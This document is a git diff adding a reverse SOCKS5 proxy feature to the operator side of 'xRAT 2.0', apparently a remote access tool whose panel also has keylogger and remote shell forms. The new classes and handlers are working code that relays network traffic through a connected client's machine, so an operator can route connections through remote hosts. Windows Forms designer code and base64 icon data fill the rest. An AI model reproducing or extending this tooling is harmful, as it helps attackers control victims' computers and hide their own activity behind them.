+ public static void HandleCommand(Client client, IPacket packet)
+ {
+ var type = packet.GetType();
+ if (type == typeof (ReverseProxyConnectResponse))
+ {
+ ReverseProxyConnectResponse response = (ReverseProxyConnectResponse) packet;
+ if (client.Value.ProxyServer != null)
+ {
+ ReverseProxyClient socksClient =
+ client.Value.ProxyServer.GetClientByConnectionId(response.ConnectionId);
+ if (socksClient != null)
+ {
+ socksClient.CommandResponse(response);
+ }
+ }
+ }
+ else if (type == typeof (ReverseProxyData))
+ {
+ ReverseProxyData dataCommand = (ReverseProxyData) packet;
+ ReverseProxyClient socksClient =
+ client.Value.ProxyServer.GetClientByConnectionId(dataCommand.ConnectionId);
+
+ if (socksClient != null)
+ {
+ socksClient.SendToClient(dataCommand.Data);
+ }
+ }
+ else if (type == typeof (ReverseProxyDisconnect))
+ {
+ ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect) packet;
+ ReverseProxyClient socksClient =
+ client.Value.ProxyServer.GetClientByConnectionId(disconnectCommand.ConnectionId);
+
+ if (socksClient != null)
+ {
+ socksClient.Disconnect();
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/Server/Core/ReverseProxy/ReverseProxyServer.cs b/Server/Core/ReverseProxy/ReverseProxyServer.cs
new file mode 100644
index 00000000..a81e778d
--- /dev/null
+++ b/Server/Core/ReverseProxy/ReverseProxyServer.cs
@@ -0,0 +1,146 @@
+using System;
+using System.Collections.Generic;
+using System.Net;
+using System.Net.Sockets;
+
+namespace xServer.Core.ReverseProxy
+{
+ public class ReverseProxyServer
+ {
+ public delegate void ConnectionEstablishedCallback(ReverseProxyClient proxyClient);
+
+ public delegate void UpdateConnectionCallback(ReverseProxyClient proxyClient);
+
+ public event ConnectionEstablishedCallback OnConnectionEstablished;
+ public event UpdateConnectionCallback OnUpdateConnection;
+
+ private Socket _socket;
+ private List _clients;
+
+ public ReverseProxyClient[] Clients
+ {
+ get
+ {
+ lock (_clients)
+ {
+ return _clients.ToArray();
+ }
+ }
+ }
+
+ public Client Client { get; private set; }
+
+ public ReverseProxyServer()
+ {
+ _clients = new List();
+ }
+
+ public void StartServer(Client client, string ipAddress, int port)
+ {
+ Stop();
+
+ this.Client = client;
+ this.Client.Value.ProxyServer = this;
+
+ this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port));
+ this._socket.Listen(100);
+ this._socket.BeginAccept(socket_BeginAccept, null);
+ }
+
+ private void socket_BeginAccept(IAsyncResult ar)
+ {
+ try
+ {
+ lock (_clients)
+ {
+ _clients.Add(new ReverseProxyClient(Client, this._socket.EndAccept(ar), this));
+ }
+ }
+ catch
+ {
+ }
+
+ try
+ {
+ this._socket.BeginAccept(socket_BeginAccept, null);
+ }
+ catch
+ {
+ /* Server stopped listening */
+ }
+ }
+
+ public void Stop()
+ {
+ if (_socket != null)
+ _socket.Close();
+
+ lock (_clients)
+ {
+ foreach (ReverseProxyClient client in new List(_clients))
+ client.Disconnect();
+ _clients.Clear();
+ }
+ }
+
+ public ReverseProxyClient GetClientByConnectionId(int connectionId)
+ {
+ lock (_clients)
+ {
+ for (int i = 0; i < _clients.Count; i++)
+ {
+ if (_clients[i].ConnectionId == connectionId)
+ return _clients[i];
+ }
+ return null;
+ }
+ }
+
+ internal void CallonConnectionEstablished(ReverseProxyClient proxyClient)
+ {
+ try
+ {
+ if (OnConnectionEstablished != null)
+ OnConnectionEstablished(proxyClient);
+ }
+ catch
+ {
+ }
+ }
+
+ internal void CallonUpdateConnection(ReverseProxyClient proxyClient)
+ {
+ //remove a client that has been disconnected
+ try
+ {
+ if (!proxyClient.IsConnected)
+ {
+ lock (_clients)
+ {
+ for (int i = 0; i < _clients.Count; i++)
+ {
+ if (_clients[i].ConnectionId == proxyClient.ConnectionId)
+ {
+ _clients.RemoveAt(i);
+ break;
+ }
+ }
+ }
+ }
+ }
+ catch
+ {
+ }
+
+ try
+ {
+ if (OnUpdateConnection != null)
+ OnUpdateConnection(proxyClient);
+ }
+ catch
+ {
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/Server/Core/UserState.cs b/Server/Core/UserState.cs
index b8a54dbc..9e4a86c0 100644
--- a/Server/Core/UserState.cs
+++ b/Server/Core/UserState.cs
@@ -1,5 +1,6 @@
using System.Drawing;
using xServer.Core.Helper;
+using xServer.Core.ReverseProxy;
using xServer.Forms;
namespace xServer.Core
@@ -23,6 +24,8 @@ namespace xServer.Core
public FrmRemoteShell FrmRs { get; set; }
public FrmStartupManager FrmStm { get; set; }
public FrmKeylogger FrmKl { get; set; }
+ public FrmReverseProxy FrmProxy { get; set; }
+
public bool IsAuthenticated { get; set; }
public bool LastDesktopSeen { get; set; }
@@ -32,6 +35,8 @@ namespace xServer.Core
public Bitmap LastDesktop { get; set; }
public UnsafeStreamCodec StreamCodec { get; set; }
+ public ReverseProxyServer ProxyServer { get; set; }
+
public UserState()
{
IsAuthenticated = false;
@@ -59,6 +64,8 @@ namespace xServer.Core
FrmStm.Close();
if (FrmKl != null)
FrmKl.Close();
+ if (FrmProxy != null)
+ FrmProxy.Close();
}
}
}
\ No newline at end of file
diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs
index 2612e8b9..3aa059f2 100644
--- a/Server/Forms/FrmKeylogger.cs
+++ b/Server/Forms/FrmKeylogger.cs
@@ -3,7 +3,6 @@ using System.IO;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.Misc;
-using System.Threading;
namespace xServer.Forms
{
diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs
index a5b8d3db..3268c9e6 100644
--- a/Server/Forms/FrmMain.Designer.cs
+++ b/Server/Forms/FrmMain.Designer.cs
@@ -79,6 +79,7 @@ namespace xServer.Forms
this.menuBuilder = new System.Windows.Forms.MenuItem();
this.menuStatistics = new System.Windows.Forms.MenuItem();
this.menuAbout = new System.Windows.Forms.MenuItem();
+ this.ctxtReverseProxy = new System.Windows.Forms.ToolStripMenuItem();
this.ctxtMenu.SuspendLayout();
this.botStrip.SuspendLayout();
this.SuspendLayout();
@@ -145,6 +146,7 @@ namespace xServer.Forms
this.ctxtStartupManager,
this.ctxtTaskManager,
this.ctxtRemoteShell,
+ this.ctxtReverseProxy,
this.ctxtLine,
this.ctxtActions});
this.ctxtSystem.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystem.Image")));
@@ -708,6 +710,13 @@ namespace xServer.Forms
this.menuAbout.Text = "About";
this.menuAbout.Click += new System.EventHandler(this.menuAbout_Click);
//
+ // ctxtReverseProxy
+ //
+ this.ctxtReverseProxy.Name = "ctxtReverseProxy";
+ this.ctxtReverseProxy.Size = new System.Drawing.Size(178, 22);
+ this.ctxtReverseProxy.Text = "Reverse Proxy";
+ this.ctxtReverseProxy.Click += new System.EventHandler(this.ctxtReverseProxy_Click);
+ //
// FrmMain
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
@@ -781,6 +790,7 @@ namespace xServer.Forms
private System.Windows.Forms.ToolStripMenuItem ctxtLocalFile;
private System.Windows.Forms.ToolStripMenuItem ctxtWebFile;
private System.Windows.Forms.ToolStripMenuItem ctxtKeylogger;
+ private System.Windows.Forms.ToolStripMenuItem ctxtReverseProxy;
}
}
diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs
index 8b5bea34..6151ba9c 100644
--- a/Server/Forms/FrmMain.cs
+++ b/Server/Forms/FrmMain.cs
@@ -9,6 +9,7 @@ using xServer.Core.Extensions;
using xServer.Core.Helper;
using xServer.Core.Misc;
using xServer.Core.Packets;
+using xServer.Core.ReverseProxy;
using xServer.Settings;
namespace xServer.Forms
@@ -143,7 +144,11 @@ namespace xServer.Forms
typeof (Core.Packets.ClientPackets.MonitorsResponse),
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
- typeof (Core.Packets.ClientPackets.GetLogsResponse)
+ typeof (Core.Packets.ClientPackets.GetLogsResponse),
+ typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
+ typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
+ typeof (Core.ReverseProxy.Packets.ReverseProxyData),
+ typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
});
ListenServer.ServerState += ServerState;
@@ -289,6 +294,12 @@ namespace xServer.Forms
{
CommandHandler.HandleGetLogsResponse(client, (Core.Packets.ClientPackets.GetLogsResponse) packet);
}
+ else if (type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnectResponse) ||
+ type == typeof(Core.ReverseProxy.Packets.ReverseProxyData) ||
+ type == typeof(Core.ReverseProxy.Packets.ReverseProxyDisconnect))
+ {
+ ReverseProxyCommandHandler.HandleCommand(client, packet);
+ }
}
private void lstClients_ColumnClick(object sender, ColumnClickEventArgs e)
@@ -705,5 +716,20 @@ namespace xServer.Forms
}
#endregion
+
+ private void ctxtReverseProxy_Click(object sender, EventArgs e)
+ {
+ if (lstClients.SelectedItems.Count != 0)
+ {
+ Client c = (Client)lstClients.SelectedItems[0].Tag;
+ if (c.Value.FrmProxy != null)
+ {
+ c.Value.FrmProxy.Focus();
+ return;
+ }
+ FrmReverseProxy frmRS = new FrmReverseProxy(c);
+ frmRS.Show();
+ }
+ }
}
}
\ No newline at end of file
diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx
index d81a9dd2..952ef653 100644
--- a/Server/Forms/FrmMain.resx
+++ b/Server/Forms/FrmMain.resx
@@ -408,7 +408,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY
- sQAAAk1TRnQBSQFMAgEB+AEAAQgBBwEIAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
+ sQAAAk1TRnQBSQFMAgEB+AEAARABBwEQAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA
AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC
AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/
diff --git a/Server/Forms/FrmReverseProxy.Designer.cs b/Server/Forms/FrmReverseProxy.Designer.cs
new file mode 100644
index 00000000..2860e70e
--- /dev/null
+++ b/Server/Forms/FrmReverseProxy.Designer.cs
@@ -0,0 +1,223 @@
+using xServer.Controls;
+
+namespace xServer.Forms
+{
+ partial class FrmReverseProxy
+ {
+ ///
+ /// Required designer variable.
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// Clean up any resources being used.
+ ///
+ /// true if managed resources should be disposed; otherwise, false.
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows Form Designer generated code
+
+ ///
+ /// Required method for Designer support - do not modify
+ /// the contents of this method with the code editor.
+ ///
+ private void InitializeComponent()
+ {
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmReverseProxy));
+ this.btnStart = new System.Windows.Forms.Button();
+ this.lblLocalServerPort = new System.Windows.Forms.Label();
+ this.nudServerPort = new System.Windows.Forms.NumericUpDown();
+ this.tabCtrl = new System.Windows.Forms.TabControl();
+ this.tabPage1 = new System.Windows.Forms.TabPage();
+ this.LvConnections = new xServer.Controls.ListViewEx();
+ this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.btnStop = new System.Windows.Forms.Button();
+ this.lblProxyInfo = new System.Windows.Forms.Label();
+ ((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).BeginInit();
+ this.tabCtrl.SuspendLayout();
+ this.tabPage1.SuspendLayout();
+ this.SuspendLayout();
+ //
+ // btnStart
+ //
+ this.btnStart.Location = new System.Drawing.Point(243, 12);
+ this.btnStart.Name = "btnStart";
+ this.btnStart.Size = new System.Drawing.Size(114, 23);
+ this.btnStart.TabIndex = 0;
+ this.btnStart.Text = "Start Listening";
+ this.btnStart.UseVisualStyleBackColor = true;
+ this.btnStart.Click += new System.EventHandler(this.btnStart_Click);
+ //
+ // lblLocalServerPort
+ //
+ this.lblLocalServerPort.AutoSize = true;
+ this.lblLocalServerPort.Location = new System.Drawing.Point(22, 17);
+ this.lblLocalServerPort.Name = "lblLocalServerPort";
+ this.lblLocalServerPort.Size = new System.Drawing.Size(91, 13);
+ this.lblLocalServerPort.TabIndex = 1;
+ this.lblLocalServerPort.Text = "Local Server Port";
+ //
+ // nudServerPort
+ //
+ this.nudServerPort.Location = new System.Drawing.Point(117, 15);
+ this.nudServerPort.Maximum = new decimal(new int[] {
+ 65534,
+ 0,
+ 0,
+ 0});
+ this.nudServerPort.Minimum = new decimal(new int[] {
+ 1,
+ 0,
+ 0,
+ 0});
+ this.nudServerPort.Name = "nudServerPort";
+ this.nudServerPort.Size = new System.Drawing.Size(120, 22);
+ this.nudServerPort.TabIndex = 2;
+ this.nudServerPort.Value = new decimal(new int[] {
+ 3128,
+ 0,
+ 0,
+ 0});
+ this.nudServerPort.ValueChanged += new System.EventHandler(this.nudServerPort_ValueChanged);
+ //
+ // tabCtrl
+ //
+ this.tabCtrl.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
+ | System.Windows.Forms.AnchorStyles.Left)
+ | System.Windows.Forms.AnchorStyles.Right)));
+ this.tabCtrl.Controls.Add(this.tabPage1);
+ this.tabCtrl.Location = new System.Drawing.Point(26, 82);
+ this.tabCtrl.Name = "tabCtrl";
+ this.tabCtrl.SelectedIndex = 0;
+ this.tabCtrl.Size = new System.Drawing.Size(533, 261);
+ this.tabCtrl.TabIndex = 3;
+ //
+ // tabPage1
+ //
+ this.tabPage1.Controls.Add(this.LvConnections);
+ this.tabPage1.Location = new System.Drawing.Point(4, 22);
+ this.tabPage1.Name = "tabPage1";
+ this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
+ this.tabPage1.Size = new System.Drawing.Size(525, 235);
+ this.tabPage1.TabIndex = 0;
+ this.tabPage1.Text = "Open Connections";
+ this.tabPage1.UseVisualStyleBackColor = true;
+ //
+ // LvConnections
+ //
+ this.LvConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
+ this.columnHeader1,
+ this.columnHeader2,
+ this.columnHeader3,
+ this.columnHeader4,
+ this.columnHeader5});
+ this.LvConnections.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.LvConnections.FullRowSelect = true;
+ this.LvConnections.GridLines = true;
+ this.LvConnections.Location = new System.Drawing.Point(3, 3);
+ this.LvConnections.Name = "LvConnections";
+ this.LvConnections.Size = new System.Drawing.Size(519, 229);
+ this.LvConnections.TabIndex = 0;
+ this.LvConnections.UseCompatibleStateImageBehavior = false;
+ this.LvConnections.View = System.Windows.Forms.View.Details;
+ //
+ // columnHeader1
+ //
+ this.columnHeader1.Text = "Target Server";
+ this.columnHeader1.Width = 135;
+ //
+ // columnHeader2
+ //
+ this.columnHeader2.Text = "Target Port";
+ this.columnHeader2.Width = 68;
+ //
+ // columnHeader3
+ //
+ this.columnHeader3.Text = "Total Receive";
+ this.columnHeader3.Width = 105;
+ //
+ // columnHeader4
+ //
+ this.columnHeader4.Text = "Total Send";
+ this.columnHeader4.Width = 95;
+ //
+ // columnHeader5
+ //
+ this.columnHeader5.Text = "Proxy Type";
+ this.columnHeader5.Width = 90;
+ //
+ // btnStop
+ //
+ this.btnStop.Enabled = false;
+ this.btnStop.Location = new System.Drawing.Point(363, 12);
+ this.btnStop.Name = "btnStop";
+ this.btnStop.Size = new System.Drawing.Size(114, 23);
+ this.btnStop.TabIndex = 4;
+ this.btnStop.Text = "Stop Listening";
+ this.btnStop.UseVisualStyleBackColor = true;
+ this.btnStop.Click += new System.EventHandler(this.btnStop_Click);
+ //
+ // lblProxyInfo
+ //
+ this.lblProxyInfo.AutoSize = true;
+ this.lblProxyInfo.Location = new System.Drawing.Point(23, 51);
+ this.lblProxyInfo.Name = "lblProxyInfo";
+ this.lblProxyInfo.Size = new System.Drawing.Size(307, 13);
+ this.lblProxyInfo.TabIndex = 5;
+ this.lblProxyInfo.Text = "Connect to this Socks5 Proxy: 127.0.0.1:3128 (no user/pass)";
+ //
+ // FrmReverseProxy
+ //
+ this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.ClientSize = new System.Drawing.Size(574, 356);
+ this.Controls.Add(this.lblProxyInfo);
+ this.Controls.Add(this.btnStop);
+ this.Controls.Add(this.tabCtrl);
+ this.Controls.Add(this.nudServerPort);
+ this.Controls.Add(this.lblLocalServerPort);
+ this.Controls.Add(this.btnStart);
+ this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
+ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.MaximizeBox = false;
+ this.Name = "FrmReverseProxy";
+ this.Text = "xRAT 2.0 - Reverse Proxy []";
+ this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmReverseProxy_FormClosing);
+ this.Load += new System.EventHandler(this.FrmReverseProxy_Load);
+ ((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).EndInit();
+ this.tabCtrl.ResumeLayout(false);
+ this.tabPage1.ResumeLayout(false);
+ this.ResumeLayout(false);
+ this.PerformLayout();
+
+ }
+
+ #endregion
+
+ private System.Windows.Forms.Button btnStart;
+ private System.Windows.Forms.Label lblLocalServerPort;
+ private System.Windows.Forms.NumericUpDown nudServerPort;
+ private System.Windows.Forms.TabControl tabCtrl;
+ private System.Windows.Forms.TabPage tabPage1;
+ private ListViewEx LvConnections;
+ private System.Windows.Forms.ColumnHeader columnHeader1;
+ private System.Windows.Forms.ColumnHeader columnHeader2;
+ private System.Windows.Forms.ColumnHeader columnHeader3;
+ private System.Windows.Forms.ColumnHeader columnHeader4;
+ private System.Windows.Forms.ColumnHeader columnHeader5;
+ private System.Windows.Forms.Button btnStop;
+ private System.Windows.Forms.Label lblProxyInfo;
+ }
+}
\ No newline at end of file
diff --git a/Server/Forms/FrmReverseProxy.cs b/Server/Forms/FrmReverseProxy.cs
new file mode 100644
index 00000000..1bca551d
--- /dev/null
+++ b/Server/Forms/FrmReverseProxy.cs
@@ -0,0 +1,136 @@
+using System;
+using System.Windows.Forms;
+using xServer.Core;
+using xServer.Core.ReverseProxy;
+
+namespace xServer.Forms
+{
+ public partial class FrmReverseProxy : Form
+ {
+ private readonly Client _connectClient;
+ private ReverseProxyServer SocksServer { get; set; }
+ private delegate void Invoky();
+
+ public FrmReverseProxy(Client client)
+ {
+ InitializeComponent();
+ this._connectClient = client;
+ }
+
+ private void FrmReverseProxy_Load(object sender, EventArgs e)
+ {
+ this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString());
+ }
+
+ private void btnStart_Click(object sender, EventArgs e)
+ {
+ try
+ {
+ SocksServer = new ReverseProxyServer();
+ SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
+ SocksServer.OnUpdateConnection += socksServer_onUpdateConnection;
+ SocksServer.StartServer(_connectClient, "0.0.0.0", (int)nudServerPort.Value);
+ btnStart.Enabled = false;
+ btnStop.Enabled = true;
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message);
+ btnStop_Click(sender, null);
+ }
+ }
+
+ void socksServer_onUpdateConnection(ReverseProxyClient proxyClient)
+ {
+ if (proxyClient.ListItem != null)
+ {
+ this.Invoke(new Invoky(() =>
+ {
+ lock (LvConnections)
+ {
+ string totalReceivedStr = GetSizeStr(proxyClient.LengthReceived);
+ string totalSendStr = GetSizeStr(proxyClient.LengthSended);
+
+ proxyClient.ListItem.SubItems[0].Text = proxyClient.TargetServer;
+ proxyClient.ListItem.SubItems[1].Text = proxyClient.TargetPort.ToString();
+
+ if (proxyClient.ListItem.SubItems[2].Text != totalReceivedStr)
+ proxyClient.ListItem.SubItems[2].Text = totalReceivedStr;
+
+ if (proxyClient.ListItem.SubItems[3].Text != totalSendStr)
+ proxyClient.ListItem.SubItems[3].Text = totalSendStr;
+
+
+
+ if (!proxyClient.IsConnected)
+ {
+ LvConnections.Items.Remove(proxyClient.ListItem);
+ }
+ }
+ }));
+ }
+ }
+
+ private string GetSizeStr(long size)
+ {
+ if (size > (1024 * 1024 * 1024))
+ return (size / (1024 * 1024 * 1024)) + "GB";
+
+ if (size > (1024 * 1024))
+ return (size / (1024 * 1024)) + "MB";
+
+ if (size > 1024)
+ return (size / 1024) + "KB";
+
+ return size + "B";
+ }
+
+ void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient)
+ {
+ if (proxyClient.ListItem == null)
+ {
+ this.Invoke(new Invoky(() =>
+ {
+ lock (LvConnections)
+ {
+ proxyClient.ListItem = new ListViewItem(new string[]
+ {
+ proxyClient.TargetServer,
+ proxyClient.TargetPort.ToString(),
+ proxyClient.LengthReceived/1024 + "KB",
+ proxyClient.LengthSended/1024 + "KB",
+ proxyClient.Type.ToString()
+ }) { Tag = proxyClient };
+ LvConnections.Items.Add(proxyClient.ListItem);
+ }
+ }));
+ }
+ }
+
+ private void btnStop_Click(object sender, EventArgs e)
+ {
+ btnStart.Enabled = true;
+ btnStop.Enabled = false;
+ if (SocksServer != null)
+ SocksServer.Stop();
+
+ try
+ {
+ SocksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished;
+ SocksServer.OnUpdateConnection -= socksServer_onUpdateConnection;
+ }
+ catch { }
+ }
+
+ private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ //Stop the proxy server if still active
+ btnStop_Click(sender, null);
+ }
+
+ private void nudServerPort_ValueChanged(object sender, EventArgs e)
+ {
+ lblProxyInfo.Text = string.Format("Connect to this Socks5 Proxy: 127.0.0.1:{0} (no user/pass)", nudServerPort.Value);
+ }
+ }
+}
\ No newline at end of file
diff --git a/Server/Forms/FrmReverseProxy.resx b/Server/Forms/FrmReverseProxy.resx
new file mode 100644
index 00000000..f940d742
--- /dev/null
+++ b/Server/Forms/FrmReverseProxy.resx
@@ -0,0 +1,659 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+
+
+ AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA
+ IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8BRT88fTMq
+ JtM3LSnVOS8q1y0nJXcAAAApAAAAEwAAABcAAAAtMysnizsvKtc5LinXNSwo1UA5N4v///8B////AWdh
+ Xh80KCL1LiAb/y8hG/8vIx7rBgYGWwAAAFEAAABRHBoZZTcoIvcwIRv/LiEb/zQnI/lcVlMl////Af//
+ /wEAAAAJPDMvhykdF/8pHRf/Kx4Y/ykgHJcAAAALAAAACUQ3MbMvIBj/LR4X/y0eF/9DOTSRAAAACf//
+ /wH///8B////AZuYlgk3KiTbJxoU/yYZE/8nGxb5QDg0J2VdWUMqHRj/JRkU/yQYFP83LCfjpKGgDf//
+ /wH///8B////Af///wH///8BZFFJTTwjGf8xHBL/MRsT/zYlHrk9LCXXMx8Z/ycXEv8nGBT/XlVSV///
+ /wH///8B////Af///wH///8B////Af///wFgPC21WCoX/1ktHP9DIRT/NxwS/zodFP82HBP/SDUwvf//
+ /wH///8B////Af///wH///8B////Af///wH///8BsIh1J7B0VfmgYUP/jk4z/3E2If9OIhP/RyQY+3lp
+ ZC3///8B////Af///wH///8B////Af///wH///8B////Af///wGaZEqJmVQ5/8mBa//Kgm7/m1M//3tI
+ OI////8B////Af///wH///8B////Af///wH///8B////Af///wH///8BlmNSW8l9Z//ik4T/76KV/+qg
+ k/+7jYRd////Af///wH///8B////Af///wH///8B////Af///wH///8BmoB7D9iMfeXtmY3/+Lq1//ez
+ r//3rqr/6bWy5ZCBgQ////8B////Af///wH///8B////Af///wH///8B////Adyzq4/5tq//+rq2//zO
+ zP/7urf/+7i2//zDwf/as7GR////Af///wH///8B////Af///wH///8B////AcatpjH10sz7/NfT//zN
+ yf/30c7t77664fzJxf/90s//9s/M+7ylozP///8B////Af///wH///8B////AcGzrgPsw7bH+9TN//vW
+ 0P/829b/7dPPaeXIw1H6z8j//NvW//zb1v/ox8PJrKOhA////wH///8B////Af///wHis6Bn+cWz//rL
+ vf/5y77/8tHJzdvU0gP///8B8MrBt/vRyP/708r/+s/F/9i3rmn///8B////Af///wGphHIX76yP7fi/
+ qP/3vKX/9MCs/d7FvTv///8B////AdrGwCX1zL/3+s7A//jHt//vwbDvwaykF////wH///8BxpF3kems
+ j/PstJrz7bSa9eO2oZ3///8B////Af///wH///8B4MG0ge7KuvHrvqvv7bmk79u3p5X///8BAAD//wAA
+ //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA
+ AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////AWJeXks8NjOfPTc0pUA6
+ N6dCPDmpRD47rUU/PK9HQT6vQT08cQAAACEAAAAPAAAABf///wH///8B////Af///wEAAAAHAAAAEwAA
+ ACc+OTeNSkI+sUhBPq9GQDyvRT46rUI8OatAOjipPjg2pVBOTWP///8B////Af///wH///8BgX59GT00
+ MPEsIR3/LSEd/y4iHf8vIx3/MCMd/y8jHf83LSnvCgoKWwAAAE8AAABDAAAAMQAAAB0AAAAhAAAANwAA
+ AEcAAABPKyopdzgqJP0yIx3/MCMd/zAiHf8wIx3/LiId/y0hHf82LCj5YV9fJ////wH///8B////Af//
+ /wH///8BZV9ccS4hG/8uIRv/LiIc/y4hG/8vIRv/LyIc/zAiHP8sJySzAAAAUwAAAFMAAABTAAAAUQAA
+ AFEAAABTAAAAUwICAlVHPDjdNCMc/zEiHP8wIhv/LyIb/y4hHP8tIBz/LSEc/1dRT4f///8B////Af//
+ /wH///8B////Af///wGXk5IFTEI91SwfGv8tIBr/LSAa/y8hG/8uIRr/LiAa/zAkH/sVFRRxAAAAUwAA
+ AFEAAABLAAAASwAAAFEAAABTSENBmTIjHP8xIRr/MCEa/y8gGv8uIBr/LiAa/y4gGv9KQDvji4mIDf//
+ /wH///8B////Af///wH///8B////AQAAAAlRTUtVMiYg/ywfGf8sHxn/LR8Z/y0fGf8tHxn/LyAZ/ywk
+ INEAAAAxAAAAGwAAAAsAAAAJAAAAFyUlJT9HOjPzMSIZ/y8hGf8uIBj/Lh8Y/y4fGP8vIBj/MyUe/1pW
+ VGkAAAAJ////Af///wH///8B////Af///wEAAAAFAAAAEwAAABtJQj6tJxsW/yYbFv8mGxb/JhsW/ykd
+ F/8pHBf/KBwX/zo1M1n///8B////Af///wH///8BbWJdnS8fF/8wIBj/LR4X/ywdF/8rHRb/LB0W/y0d
+ Fv9TSkXDAgICGwAAABMAAAAH////Af///wH///8B////Af///wH///8B////AZuYlh05LirzJhoV/yQZ
+ FP8jGRP/JBkT/yQZFP8kGRT/KyIe5WJgXw3///8B////AaKdmzk2KST9KBsV/ygbFf8mGhX/JhoV/yYa
+ Ff8nGxX/OjAq+6ShoC3///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AWth
+ XXsuHBT/LRsU/ykaE/8nGRP/KBoT/yYZE/8oGhT/PTQwi////wG5trUDU0lFzyUYE/8kFxP/IxcS/yIX
+ E/8hFhP/IhcT/yMXEv9wameR////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8Bp6CdCVU/NttVNSn/Mx0T/zAcE/8xHRP/LxwT/y4bE/8vHxn5VlFPKXhvbG0pGRT/KBgT/ycX
